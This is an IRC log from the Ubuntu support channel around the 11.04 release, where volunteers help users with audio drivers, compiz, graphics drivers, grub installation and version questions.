[07:53] <thegoodcushion> red2kic: I went from 9.04 to 10.10 and I went back to 10.04 rather than use 11.04 because I like GNOME
[07:53] <jo-erlend> thegoodcushion, I use 10.04LTS on my desktop. It's very stable and I'm going to use it until may-june 2012.
[07:53] <uabn93> ppk_: I like using xbmc. great media center. great software. you should try it.
[07:53] <red2kic> thegoodcushion: ASDF_: Others:  You kept forgetting about LTS -- That's at 10.04
[07:53] <Maahes> thegoodcushion: 10.04 has gnome.
[07:53] <PythonPup> Maahes, so, take my question as a hint and check.
[07:53] <mathews> many people here waits to get their answer for their doubt.so pls fill here ur debate
[07:54] <jo-erlend> thegoodcushion, Classic Ubuntu in 11.04 uses gnome-panel. It's just a matter of choosing the session once. It takes about 3 seconds.
[07:54] <Maahes> 11.04 also has gnome
[07:54] <mathews> many people here waits to get their answer for their doubt.so pls dont fill here ur debate
[07:54] <Maahes> how do you set the terminal bell? I'm using zsh and urxvt, and I can't remember how to set this variable. echo -e -n "\a" produces no output
[07:54] <bazhang> mathews, noted
[07:54] <ppk_> http://pastebin.com/9GNgCHmN.
[07:54] <freeman_> its true he's been asking for a long time
[07:54] <bazhang> thegoodcushion, chit chat in #ubuntu-offtopic please
[07:55] <a2j> hi
[07:55] <thegoodcushion> ok I'm going to offtopic channel
[07:55]  * Maahes wishes still that there was a non-trivial ubuntu support channel, so I could ask questions about terminal settings and gconf that were likely to get answered in the same day they were asked in
[07:56] <Jordan_U> Maahes: https://bugs.launchpad.net/ubuntu/+source/libcanberra/+bug/486154
[07:56] <ubottu> Ubuntu bug 486154 in metacity (Ubuntu) "System beep broken in Karmic despite heroic efforts to fix it" [Medium,Triaged]
[07:56] <freeman_> lol thats funny
[07:56] <kz3> someone please help me install metasploit on ubuntu 10.10
[07:57] <sebastian> sorry, a question. Anyone knows why in ubuntu 11.4 i have not the option to add graphic effects in the windows (ej: you mve the windows and it defforms itself while you move it)?
[07:57] <NictraSavios> kz3 i will :)
[07:57] <a2j> trying to compress folder on samba share, getting "No such file or directory" error. any ideas?
[07:57] <NictraSavios> kz3 White hat hacker at your serverice :)
[07:57] <Maahes> Jordan_U: ....that's fricken evil
[07:57] <phibxr> sebastian, did you install compizconfig-settings-manager?
[07:57] <freeman_> sebastian, open terminal and type: ccsm
[07:58] <ppk_> just checking ohsix did you see my paste bin link? http://pastebin.com/9GNgCHmN
[07:58] <kz3> NictraSavios: thanks dude
[07:58] <bullgard4> sebastian: You probably did not activate or install compiz.
[07:58] <NictraSavios> kz3,  Simple, Get it , http://www.metasploit.com/download/ , And then RTM http://dev.metasploit.com/redmine/projects/framework/wiki/Install_Linux
[07:58] <sebastian> ups, the installation dont do it i see......
[07:58] <PythonPup> sebastion, and there is no such thing as Ubuntu 11.4.
[07:59] <freeman_> there is no spoon
[07:59] <Infatuas> lolz, NictraSavios
[07:59] <sebastian> no ubuntu 11.4? xD
[07:59] <PythonPup> 11.04 is the version of the latest
[07:59] <sebastian> i will search for compiz
[07:59] <ohsix> ppk_: ok, first thing to test, add tsched=0 after load-module module-udev-detect in /etc/pulse/default.pa, restart pulse with pulseaudio -k
[07:59] <ramin> guys, how much performance is lost when you upgrade to natty? Rather than just installing a fresh new system
[07:59] <PythonPup> it is year, followed by 2 digit month
[07:59] <freeman_> sebastian, in terminal type: ccsm
[08:00] <PythonPup> ramin, none
[08:00] <ohsix> ramin: there are gains and losses with shifts between versions; you didn't ask a question anyone can answer
[08:00] <mathews> ramin; do a fresh install rather try for an upgrade
[08:00] <freeman_> ramin, they are having that debate right now in #ubuntu-offtpoic
[08:00] <sameerkof> can anyone tell me why i am unable to write in my file system ?
[08:00] <ohsix> ramin: find someone who has ran benchmarks on eachversion against a feature you care about
[08:00] <mathews> freeman: u said it
[08:00] <PythonPup> sameerkof, Maybe it is a CD.
[08:01] <ramin> I'm kind of rather just surprised at some of the speeds
[08:01] <hell_> need help on speakers
[08:01] <ramin> performance is a little low
[08:01] <freeman_> mattews, i am kind of reading it right now :P
[08:01] <sameerkof> PythonPup, not its not .. :P its installed in my hd .
[08:01] <multi_io> is there any video editor that works reliably?
[08:01] <ramin> maybe it's only because there is so much compiz involved
[08:01] <bullgard4> !sound | hell_
[08:01] <ubottu> hell_: If you're having problems with sound, click the Volume applet, then Sound Preferences, and check your Volume, Hardware, Input, and Output settings.  If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/DmixPlugin - For playing audio files,  see !players and !mp3.
[08:01] <ohsix> mathews: as much as you hear about failed upgrades, you never hear the circumstances or why; so if you could hold off on recommending that here i'd appreciate it
[08:01] <Jordan_U> ramin: There should be no performance differece between upgrading and installing fresh, unless before you upgraded you installed a lot of resource intensive services.
[08:01] <multi_io> avidemux produces stuttering sound here when using the resize filter
[08:01] <Maahes> Jordan_U: other than getting the source and applying that patch is there any other way to change this? i.e. ppa?
[08:01] <sebastian> i already have the "compiz", but when i go to the terminal and type "ccsm" it says that the "ccsm" is not installed
[08:01] <pooltable> is there a linux mint channel ???
[08:01] <PythonPup> multi_io, I have used PitiVi for some light editing on Ubuntu
[08:02] <Jordan_U> !mint | pooltable
[08:02] <ubottu> pooltable: Linux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org
[08:02] <freeman_> sebastian, does it tell you how to get it
[08:02] <ramin> I see, thanks guys, I'll keep looking around
[08:02] <mathews> ohsix:I agree u
[08:02] <bullgard4> pooltable: 3 question marks in a row are two too much.
[08:02] <pooltable> thanks
[08:02] <sameerkof> why i can't paste anything in my system file folder :S
[08:02] <ohsix> sebastian: ccsm is in compizconfig-settings-manager, didn't it say that along with the error message?
[08:02] <uabn93> why isn't that new kernel in 11.04 available in 10.10?
[08:02] <freeman_> sebastian, in terminal: sudo apt-get install ccsm
[08:02] <pooltable> bullgrad4 sory finger slip
[08:03] <sebastian> thanks, i have not read all the message
[08:03] <ohsix> uabn93: because that's not what happens, new versions of any given package are generally not available after a release
[08:03] <PythonPup> sameerkof, Do you mean /bin or similar?  It is owned by root and you are trying to paste as a user.
[08:03] <pooltable> i have 11.4 but do not like the new set up
[08:03] <op_amp> Hi, when I tried to update to Natty, I got following error. Can not mark xubunut-desktop for upgrade. http://i.imgur.com/ypYh2.png
[08:03] <freeman_> sebastian, no problem :)
[08:03] <op_amp> *upgrade
[08:03] <ohsix> uabn93: if you have a real reason to want the new kernel there are things you can do, but i only recommend it if you can't get your video to work; and only to help finding a fix to backport
[08:04] <Maahes> Jordan_U: or actually, is there a way to get the bell to load a system sound to ubuntu?
[08:04] <actionmannn> Ubuntu11.04 32bit "Time&DateSettings" BROKEN       I cannot set/adjust time and date preferences. Any1 confirm this ?
[08:04] <Jordan_U> op_amp: How are you trying to upgrade?
[08:04] <PythonPup> uabn93, There are issues when you move between major kernel versions.  Ubuntu never does this during a release and support cycle.  Fedora does and things sometimes break.
[08:04] <op_amp> Jordan_U, update-manager -d
[08:04] <carandraug> Hi! I've been contributing for several projects. They all use different revision control systems. I have SVN, git, mercurial and bazaar and I'm starting to confuse them. I just tried to do a git update on a hg repository. Is there any program that checks which system is the correct and translates to the correct thing?
[08:04] <Etherael> where is the super+a hotkey configured? it's gobbling something else I want to use and I need to disable it.
[08:05] <Jordan_U> op_amp: The '-d' shouldn't be needed as 11.04 has been released.
[08:05] <bullgard4> op_amp: Your error message clearly states at least 3 measures to take. Did you do all of them?
[08:05] <Maahes> carandraug: you might try #git, since git has plugins for all those repository types.
[08:05] <Etherael> and how do I disable launcher?
[08:05] <sameerkof> i want to paste files in /usr/share there is no paste option and when i try to change permission it says u are not the owner to change these permission ? well i am using admin account ?
[08:05] <ohsix> op_amp: -d is only for upgrading to development versions
[08:05] <pooltable> irc://freenode/%23linuxmint-help how do i join this ?
[08:05] <uabn93> So when upgrades are available through update manager they are just minor and not as big as the one available in 11.04 right?
[08:06] <uabn93> kernel upgrades
[08:06] <Jordan_U> bullgard4: The only measure suggested in that error message is filing a bug report.
[08:06] <Maahes> pooltable: /join #linuxmint-help
[08:06] <ohsix> carandraug: theres no real way to translate the different commands
[08:06] <Inumedia> I'm trying to run a terminal command from a launcher on Maverick, yet when I run the launcher it just doesn't do anything.
[08:06] <hell_> any one else running on a vaio?
[08:06] <Inumedia> Yet the command I used, works perfectly in the terminal.
[08:06] <pooltable> irc.spotchat.org
[08:06] <PythonPup> sameerkof, if youy really know what you are doing there, try doing it in a root nautilus shell.   Go to a terminal prompt and type    sudo nautilus /usr
[08:06] <Inumedia> Why does it not work from the launcher?
[08:06] <freeman_> Etherael, have you tried compiz settings?
[08:06] <ppk_> ohsix_ should the restart have any output?
[08:06] <Jordan_U> Inumedia: What command?
[08:06] <Etherael> freeman_: Where in compiz settings? launcher is a compiz thing or.. ?
[08:06] <ohsix> carandraug: as has been suggested already, you might just import anything into git for local work; that's what i do, even if i'm preparing patches for projects with other cvs
[08:07] <ohsix> ppk_: nope, see if the crackle is still there
[08:07] <Inumedia> Jordna_U: "java -Xmx1024m -Xms512m -cp ~/Downloads/minecraft.jar net.minecraft.LauncherFrame"
[08:07] <Inumedia> Without quotes, of course.
[08:07] <freeman_> there is a commands section in it
[08:07] <Etherael> ~.
[08:07] <bullgard4> uabn93: No.
[08:07] <ppk_> its gone, but the volume control appears to be gone
[08:07] <freeman_> bindings etc
[08:07] <carandraug> Maahes, I don't want to convert them all to one. I was looking more for one program that would look into the directory I was messing with and "translated" correctly. For example, urcs update /path_to_local_repo. It would check which system is on that repository and then do hg update or git pull according
[08:07] <Jordan_U> Inumedia: The launcher is not a shell, '~' will not be expanded to your home directory.
[08:07] <Inumedia> Ah.
[08:07] <Inumedia> Alright, thanks.
[08:07] <PythonPup> uabn93, correct
[08:07] <actionmannn> "Time&Date Settings" BROKEN I am unable to adjust the date/time in Ub11.04 32bit
[08:07] <Jordan_U> Inumedia: You're welcome.
[08:07] <op_amp> bullgard4, I didn't quite understand the causes. The last one might be the root of the problem as I did build some packages from source code. Removing them.
[08:07] <bullgard4> Jordan_U: No. Please re-read. Three more are suggested.
[08:08] <Maahes> carandraug: um, an IDE might do it, possibly eclipse or emacs...actually almost certainly emacs.
[08:08] <uabn93> bullard4: are you tying to throw me off? lol
[08:08] <freeman_> Inumedia, try reporting it as a bug. it might be included soon
[08:08] <Maahes> if you like that OS.
[08:08] <freeman_> Inumedia, i think its a good idea :)
[08:08] <ohsix> bullgard4: still doesn't matter; he stated he wanted to upgrade to natty not a development version
[08:09] <Inumedia> Alright.
[08:09] <Inumedia> freeman_: Care to give me a link to where I'd report it? :P
[08:09] <freeman_> sure
[08:09] <vabigoon> hi, is there any way to force terminal not to close after running program in python, started by activator?
[08:09] <Jordan_U> bullgard4: It's late for me so I may be missing something obvious but what other measures do you see suggested in http://i.imgur.com/ypYh2.png ? Please list them.
[08:09] <ohsix> ppk_: pulse might have not restarted from the sounds of things, see that it is; config might have got mangled with the edits
[08:10] <ohsix> ppk_: try running pulseaudio -vvvv
[08:10] <freeman_> Inumedia, https://bugs.launchpad.net/ubuntu/
[08:10] <carandraug> ohsix, oh! Now I see what they mean. Thanks
[08:10] <ppk_>  main.c: Unknown command: tsched=0
[08:10] <ppk_>  main.c: Unknown command: tsched=0
[08:10] <ppk_>  main.c: Failed to initialize daemon.
[08:10] <havane> hi
[08:11] <carandraug> Maahes, hmmm.. I love gedit. Wonder if there's a plugin for gedit that does it. Thanks
[08:11] <freeman_> Inumedia, look at bug #1 on the site https://bugs.launchpad.net/ubuntu/+bug/1
[08:11] <ubottu> Ubuntu bug 1 in Ubuntu "Microsoft has a majority market share" [Critical,In progress]
[08:11] <freeman_> for a laugh :)
[08:11] <ohsix> ppk_: add it on the same line as the udev-detect one
[08:11] <Etherael> I can't believe how badly this is broken, for a pushed update on an LTS o_O.
[08:11] <mathews> pls help me to connect VPN. I did as I was doing in 10.10 but here it not working but says VPN service failed to start
[08:11] <freeman_> Etherael, what exactly are you having problems with
[08:11] <PythonPup> Etherael, 11.04 is not an LTS
[08:11] <Inumedia> freeman_: I'll let you know when it loads :P
[08:12] <Etherael> freeman_: I was having problems with getting any kind of opengl working, now it appears to work, just extremely badly.
[08:12] <Etherael> like random compiz crashes, unable to enable cube plugin.
[08:12] <ppk_> like so? http://pastebin.com/vtcUbt8L
[08:12] <Jordan_U> Etherael: 11.04 is not LTS, and is not offered as an upgrade from 10.04 LTS.
[08:12] <Etherael> framerate under 20fps
[08:12] <Etherael> on a HD 5870
[08:12] <Maahes> carandraug: probably not, gedit has a fairly limited plugin selection. Especially compared to Eclipse/Vim/Emacs
[08:12] <freeman_> im not having any problems with opengl.
[08:12] <ohsix> ppk_: yep
[08:13] <Etherael> Jordan_U: So the .04 = LTS convention no longer holds?
[08:13] <tsimpson> Etherael: that's not a convention at all
[08:13] <Jordan_U> Etherael: There never was such a convention.
[08:13] <Inumedia> freeman_: Hah. :P
[08:13] <PythonPup> Etherael, It never held.  The LTS releases are every other year.
[08:13] <freeman_> :P
[08:13] <ohsix> Etherael: sounds like no driver for acceleration is being loaded, look and see if it says "software" in the output of glxinfo
[08:13] <tsimpson> Etherael: LTS are released every 2 years usually
[08:13] <Jordan_U> Etherael: 7.04 and 9.04 were also not LTS.
[08:14] <ppk_> re did -k and no output then re did -vvvv and got this  http://pastebin.com/s2fKxRe1
[08:14] <Etherael> ohsix: I don't think so http://pastie.org/1852707
[08:14] <html_inprogress> my dvd /iso burner stop work:(
[08:14] <Etherael> it just looks like fglrx is a spectacularly bad performer.
[08:14] <Etherael> no idea why.
[08:14] <Etherael> was working fine back in 10.10
[08:15] <ohsix> no idea brah
[08:15] <Etherael> hell with this, I'll just install the latest fglrx from the ati site, if it's still royally broken I'll do a full restore and stick to 10.10.
[08:15] <ohsix> ppk_: right, part of that is the reason for checking if it goes away with tsched too
[08:16] <ohsix> ppk_: except disabling tsched also covers another bad driver problem with timing & wakeups, that after you suspect you have it, theres another tool to confirm
[08:16] <ppk_> so what should i do next
[08:17] <ohsix> ppk_: try what you did befre and see if it crackles
[08:17] <freaky[t]> how do i set the default program used for .torrent files?= it uses ktorrent because i installed kubuntu-desktop but i want it to use transmission ...
[08:17] <ppk_> sorry, in confused, do i leave tsched in the config file?
[08:18] <brandonc503_> hey all
[08:18] <DrLight20XX> hey
[08:18] <freeman_> hello
[08:18] <Maahes> is there a way to get the bell (as a terminal environment, I am not using gnome-terminal) to load a system sound to ubuntu?
[08:18] <brandonc503_> how would i go about trying to use Dreamweaver on my windows comp, to edit files live on my linux box?
[08:19] <green_> I'm having troubles with my sound, with banshee playing in sound preferences applications there is no meter like thing and tere is no sound, any ideas? it worked before btw the codec is alc260
[08:19] <freeman_> windows cannot read the filesystem ubuntu uses
[08:19] <PythonPup> brandonc503_, Install wine and try running it under that.
[08:19] <freeman_> you would have to make a ntfs partition
[08:19] <brandonc503_> i want to use dreamweaver to access my server like i use it to access godaddy server i have
[08:20] <celthunder> brandonc503_: install an ftpd
[08:20] <Solnse> just set up your server info in dreamweaver  the same you set up godaddy info
[08:20] <Madpilot> brandonc503_, there is apparently a plugin to allow Windows to read ext3 and ext4; I don't run Windows anymore so I know nothing more than that.
[08:20] <DrLight20XX> hmm
[08:20] <jrt4> brandonc503_, Use sshd not ftpd
[08:20] <brandonc503_> the ftpd is what im looking towards
[08:20] <brandonc503_> sshd huh.. googleing
[08:21] <Solnse> brandon, you are simply trying to access a different web server, your own, instead of godaddy right? On your windows box... you simply set up the info in dreamweaver for the ftp the same you did for godaddy.
[08:21] <ppk_> ohsix: im back sorry
[08:22] <ohsix> ppk_: yes, and pulse is running, play some sounds
[08:22] <mathews> pls help me to connect VPN. I did as I was doing in 10.10 but here it not working but says VPN service failed to start
[08:22] <ohsix> freeman_: right clck on a torrent file, properties, open
[08:22] <Etherael> Nope, that broke opengl utterly, ok, doing a full system restore, after I just copy the files back over this partition, what's the command to tell grub to install again etc?
[08:22] <Cavisty^gerber> why does discovery channel fucking start ad shows at 3 am?
[08:22] <Cavisty^gerber> and not later?
[08:22] <Cavisty^gerber> 3 am isnt that late
[08:22] <ohsix> er
[08:22] <FloodBot3> Cavisty^gerber: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[08:22] <mathews> what service I need to install to get it.I did openvpn as in 10.10
[08:22] <brandonc503_> i dont have ftp set up on my linux yet
[08:22] <ppk_> yeah appears to be working. still crackles when i move the volume dial. but otherwise seems solid
[08:22] <html_inprogress> whats wrong with my software dvd burner? ubuntu 10.04
[08:23] <ohsix> freeman_ -> freaky[t]
[08:23] <Cavisty^gerber> and i wanna watch tv right now
[08:23] <freeman_> ohsix, im so confused lol
[08:23] <freaky[t]> ohsix: yes i want to set the default program used as i said ...
[08:23] <freaky[t]> ohsix: i dont want to have to first browse to the .torrent file and then rightclick
[08:23] <Jordan_U> !ot | Cavisty^gerber
[08:23] <ubottu> Cavisty^gerber: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[08:23] <ohsix> ppk_: ok theres a problem with the driver for your device on that machine, remove the tsched stuff & restart pulse again
[08:23] <freaky[t]> ohsix: i want to open it right from my browser
[08:23] <Hoyt> hi , how can i load a kernel module automatically and sepcify a parameter for it ?
[08:24] <ohsix> freaky[t]: i can't help what you don't want; i told you how to do it
[08:24] <ppk_> ok, done
[08:24] <Hoyt> i'm looking for the configuration file , seems /etc/modules doesn't support parameters
[08:24] <ohsix> Hoyt: look at the files in /etc/modprobe.d for examples
[08:24] <freaky[t]> ohsix: no u didnt
[08:24] <freaky[t]> ohsix: nm
[08:24] <ohsix> freaky[t]: ;]
[08:24] <freeman_> lol
[08:25] <Hoyt> done , thanks
[08:25] <freeman_> has anyone found out a way to show desktop on dock?
[08:25] <freaky[t]> ohsix: sorry u were right i didnt read correctly
[08:26] <ohsix> ppk_: read the whole thing, tool to test is about halfway down http://pulseaudio.org/wiki/BrokenSoundDrivers
[08:26] <ohsix> freaky[t]: no harm no foul
[08:26] <freaky[t]> ohsix: thanks for oyur help
[08:28] <freaky[t]> how do i open a java program from within the gnome taskbar or shortcut bar ... i would like to add it but dont know how
[08:28] <freaky[t]> wait i think i got it
[08:28] <freeman_> if you find out let me know
[08:29] <red2kic> Testing Gnome3. Hmmm!
[08:29] <red2kic> freaky[t]: Use Launcher. Put the proper command in it.
[08:29] <jo-erlend> you can add sortcuts to the dash by adding .desktop-files to /usr/share/applications, but is there a personal way to do it? That is, to add .desktop-files to a folder in your home and make them appear in your dash?
[08:30] <ppk_> ohsix: i get this error when i try to run the gcc command, http://pastebin.com/aEBUTvw2
[08:30] <freaky[t]> red2kic: yes i did that thanks
[08:30] <freaky[t]> !gnome3
[08:30] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[08:31] <ohsix> ppk_: apt-get install libasound2-dev
[08:31] <freeman_> jo-erlend, create a folder?
[08:31] <brandonc503_> Seems i need to make a user on my comp and set the home directory.. is there a typical folder i should make as its home direcotry?
[08:31] <jo-erlend> freeman_, pardon?
[08:31] <brandonc503_> ...for ftping
[08:32] <freeman_> how do you add .desktop-files to /usr/share/applications
[08:32] <DirtyDawg> i have found that alot of people laugh (lol) when i say that i use Ubuntu, why is that? anyone know, i like it :(
[08:32] <adsx> does anyone know how to completly remove  unity and install gnome3 ?
[08:33] <red2kic> DirtyDawg: Who were those 'alot of people' -- Windows users? Lol.
[08:33] <DirtyDawg> Gentoo users
[08:33] <Jordan_U> !ot | DirtyDawg
[08:33] <ubottu> DirtyDawg: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[08:33] <DirtyDawg> kk
[08:33] <red2kic> !gnome3 | adsx
[08:33] <ubottu> adsx: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[08:34] <red2kic> adsx: Consider it a warning. :<
[08:34] <adsx> has anyone tried it ?
[08:34] <freeman_> buckle your seat belts lol
[08:34] <DeejayRoby4> hello guys, I'm having a problem with the installation of natty because it tells me that it finds a Error installing the grub and it offers me three choices: do not install ubuntu, do not install grub, and try to reinstall it, but the problem is that if I click ok nothing happens
[08:34] <adsx> can anyone comment what actually happened ond doing so ?
[08:35] <ohsix> ppkare you using 10.10 or 11.04?
[08:35] <Rehan> is there a way to theme a single icon in gnome's panel? (don't want to change my entire theme, just want to make one system tray icon fit into it)
[08:36] <ohsix> Rehan: theres a way to overlay local icons ettings but i don't know what it is, i'd read the icon spec on fd.o D:
[08:36] <Rehan> ohsix: cool, whats fd.o ? Also, do you ever sleep? :P
[08:36] <DeejayRoby4> hello guys, I'm having a problem with the installation of natty because it tells me that it finds a Error installing the grub and it offers me three choices: do not install ubuntu, do not install grub, and try to reinstall it, but the problem is that if I click ok nothing happens
[08:37] <ohsix> Rehan: freedesktop.org
[08:37] <ohsix> Rehan: soon, soon
[08:37] <Rehan> ohsix: haha nice, what timezone are you in
[08:37] <ohsix> PST
[08:37] <Rehan> ohsix: cool, same here, in SF
[08:37] <PythonPup> DeejayRoby4, That is not a good error.  I'd try installing 10.10 and seeing if that worked.
[08:37] <Guest__> hey
[08:38] <DeejayRoby4> nobody knows?
[08:38] <Guest__> could I get some help..
[08:38] <BiosElement> Guest__: Just ask the question. ^_^
[08:38] <ohsix> DeejayRoby4: more specifically, nobody answered
[08:38] <PythonPup> DeejayRoby4, Most likely, it indicates a problem with the disk.
[08:38] <Rehan> !ask | Guest__
[08:38] <ubottu> Guest__: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[08:38] <ppk_> ohsix: i got this error http://pastebin.com/NXbTULi0
[08:39] <Fleck> anyone can install fglrx on natty?
[08:39] <Guest__> could i GET ONE OF YOU TO TEST OUT 
[08:39] <Guest__> my shell..
[08:39] <Solnse> lol
[08:39] <html_inprogress> whay is it?
[08:39] <PythonPup> Fleck, anybody who wanted to and had a ATI video card.
[08:39] <Guest__> and beta test the first ever public Zx86/64 beta server?
[08:39] <html_inprogress> yes
[08:39] <ohsix> ppk_: you need to run it on the idlest machine possible
[08:40] <Guest__> 173.13.234.122 port 202... **
[08:40] <DeejayRoby4> @ohsix not true  @PythonPup Maverick is working
[08:40] <Guest__> 173.13.234.122
[08:40] <ohsix> ppk_: but that could signal another driver problem too
[08:40] <Fleck> i whant, and cant...
[08:40] <Guest__> por t 20023 telnet
[08:40] <ppk_> how long should it take?
[08:40] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[08:40] <Guest__> take about 10 minutes.
[08:40] <ppk_> and what will the result be?
[08:40] <Guest__> I'd really appreciate it.
[08:40] <Cairo|Mac> has anyone seen anything like this before?
[08:40] <Cairo|Mac> http://img233.imageshack.us/img233/8213/img3503a.jpg
[08:41] <Guest__> 173.13.234.122 20023 telnet
[08:41] <Fleck> smileys :D ?
[08:41] <Guest__> you wont have to login.. I'll do that for you..
[08:41] <PythonPup> DeejayRoby4, You are using the released version of 11.04, I hope.  There was a bug that was fixed related to grub in the alpha versions.
[08:41] <DeejayRoby4> PythonPup, maverick works correctly
[08:41] <Guest__> it tarts off as a guided tour then you get to play.
[08:41] <Guest__> anyone?
[08:42] <DeejayRoby4> PythonPup, yes, the release version
[08:42] <Soothsayer> what's the shortcut to launch Nautilus (preferably with home directory opened) ?
[08:42] <Soothsayer> Just like how Ctrl + Alt + T opens terminal
[08:42] <ppk_> doesnt matter il do it and il be back.
[08:43] <PythonPup> DeejayRoby4, Are you trying a fresh install of 11.04 and having the problem there?  Or, is this an upgrade from 10.10 to 11.04?
[08:43] <DeejayRoby4> PythonPup, it is a fresh install
[08:43] <Etherael> is there another way to do hotkey binding for workspaces? it looks like the compiz cube / rotate cube plugins are completely hosed in natty
[08:43] <PythonPup> So, seeing that it does not work, have you tried upgrading from 10.10 to 11.04?
[08:43] <Etherael> ie super+shift1 = go to workspace 1
[08:44] <ohsix> cadmium: ati or intel?
[08:44] <ohsix> grr
[08:44] <ohsix> Cairo|Mac: ati or intel
[08:44] <Cairo|Mac> intel i think
[08:44] <Etherael> ah, found one.
[08:44] <Etherael> phew, a usable system again.
[08:44] <DeejayRoby4> PythonPup, I can't it's elementary os and still I could not, because I just rewrote the partition table
[08:45] <Etherael> for anyone else experiencing graphics hell with natty on fglrx, set v-blank to off.
[08:45] <Cairo|Mac> ohsix: intel
[08:45] <PythonPup> DeejayRoby4, Do a fresh install of 10.10 and then upgrade.  I know it takes a while., but it is my only suggestion at the moment.
[08:45] <cadmium> intel I think
[08:46] <DeejayRoby4> PythonPup, the image (in italian) http://tinypic.com/view.php?pic=2elwlma&s=7
[08:46] <PythonPup> DeejayRoby4, I see nothing.  I don't run javascript.  The site may use it.
[08:47] <ohsix> Cairo|Mac: what was supposed to be on the screen? i've seen corruption like that but with defined contents
[08:47] <Cairo|Mac> text
[08:47] <Cairo|Mac> its the alt-F1 screen
[08:47] <ohsix> in what?
[08:47] <Cairo|Mac> forgotten waht its called
[08:48] <Cairo|Mac> Ubuntu 11.04
[08:48] <DeejayRoby4> PythonPup, now? http://oi51.tinypic.com/2elwlma.jpg
[08:48] <ohsix> the ctrl-alt-f1 screen?
[08:48] <ohsix> alt-f1 opens the applications menu
[08:48] <virgo> i have ubuntu 10.10 Netbook and for some time now my software center doesnt work
[08:48] <virgo> when i execute it, the window never appeares, it only shows on taskbar for few sec
[08:49] <Cairo|Mac> ohsix: yeah that
[08:49] <ohsix> virgo: open a terminal and try running it from there (software-center) it will show some output
[08:49] <ohsix> Cairo|Mac: post the output of lspci to paste.ubuntu.com
[08:49] <PythonPup> DeejayRoby4, You could try it.  /dev/sda is most likely correct.  But, I am telling you that once you get to this point, you most likely will not have a bootable system.
[08:50] <Sharan> Fuck Unity
[08:50] <Furai`> Hello.
[08:50] <Sharan> Fuck Gnome shell
[08:50] <Cairo|Mac> ohsix: i wouldnt be able to copy and paste it...
[08:50] <Cairo|Mac> 1) its text mode
[08:50] <Cairo|Mac> 2) i cant tell what the text is
[08:50] <Cairo|Mac> 3) i dont have a text browser
[08:50] <PythonPup> DeejayRoby4, One option for now might be to continue without a bootloader and then boot from the CD again and tell it to boot from the first hard drive.
[08:50] <DeejayRoby4> PythonPup, you do not understand the problem, I can not click ok
[08:51] <ohsix> Cairo|Mac: no need to paste it from text mode, unless its all you can get
[08:51] <DeejayRoby4> PythonPup nothing appears if I click ok!!
[08:51] <PythonPup> DeejayRoby4, tab to it and press enter.
[08:51] <ohsix> Sharan: #ubuntu-offtopic
[08:51] <Cairo|Mac> ohsix: yes it is
[08:51] <ohsix> Sharan: this is a help channel
[08:51] <DeejayRoby4> PythonPup I've done it!!
[08:51] <ohsix> Cairo|Mac: sounds more severe than i can help you with at the moment
[08:51] <Sharan> oopss!!!!
[08:51] <Cairo|Mac> ohsix: kk
[08:51] <ppk_> ohsix i ran it again on a compleatly idle system and same error exactly, but it did run longer and made a bigger log file 150mg vs 790mg
[08:52] <PythonPup> DeejayRoby4, Are you ok now, or do you mean you tried that and it did not work?
[08:52] <ohsix> ppk_: ok
[08:52] <DeejayRoby4> PythonPup, I've troed that and it did not work
[08:52] <64MAAHHBY> kwrite
[08:52] <virgo> ohsix: i did paste the output to there http://paste.ubuntu.com/601637/
[08:53] <DeejayRoby4> PythonPup, I've tried*
[08:53] <ohsix> virgo: it looks like it's having a problem loading an icon
[08:53] <virgo> yes
[08:54] <virgo> that what it says in estonian also :p
[08:54] <Ubuntu_user> I found a bug in NATTY.
[08:54] <atdprhs> Hello
[08:54] <atdprhs> everyone
[08:54] <PythonPup> DeejayRoby4, So, you'll have to power cycle the machine and try repairing grub2, if you want.
[08:54] <virgo> so, can i reinstall it or something?
[08:54] <PythonPup> DeejayRoby4, see https://help.ubuntu.com/community/Grub2
[08:54] <ohsix> ppk_: you should have enough information to start askingn about possible problems and getting them fixed on the alsa mailinglist
[08:54] <atdprhs> I'm stuck on something in Ubuntu server 10.10, is there anyone here have 5 minute free?
[08:54] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[08:55] <ohsix> bullgard4: find nhandler and ask him?
[08:55] <ppk_> can you tell me how to do that?
[08:55] <Ubuntu_user> atdprhs:  just ask your question
[08:55] <atdprhs> okayz
[08:55] <DeejayRoby4> PythonPup, I can try this way but the install is not completed!
[08:55] <PythonPup> atdprhs, Ask your question and if someone can help with it, they will speak up.
[08:55] <bullgard4> ohsix: Not practical. He stands for the community there.
[08:55] <ohsix> ppk_: you send an email :] you could ask in #pulseaudio, coling or one of the other people might be able to help; or even file & follow up for you, but right now i've got to go to sleep
[08:55] <atdprhs> my Ubuntu server were running good but suddenly it lost connection when I tried to connect to it later
[08:55] <PythonPup> DeejayRoby4, right.  That is why I said earlier, I would recommend installing 10.10 and upgrading.
[08:55] <atdprhs> but I found out after walking around in it
[08:56] <atdprhs> that my eth0 is not managed?
[08:56] <ppk_> ok
[08:56] <ohsix> bullgard4: hm?
[08:56] <atdprhs> how? and  why? I don't understand :S
[08:56] <ppk_> thanks for all your help!
[08:56] <Ubuntu_user> I found a bug in NATTY.  It is unable to  execute .sh file.
[08:56] <ohsix> ppk_: thanks for probably getting the driver fixed! :D
[08:56] <atdprhs> 8-)?
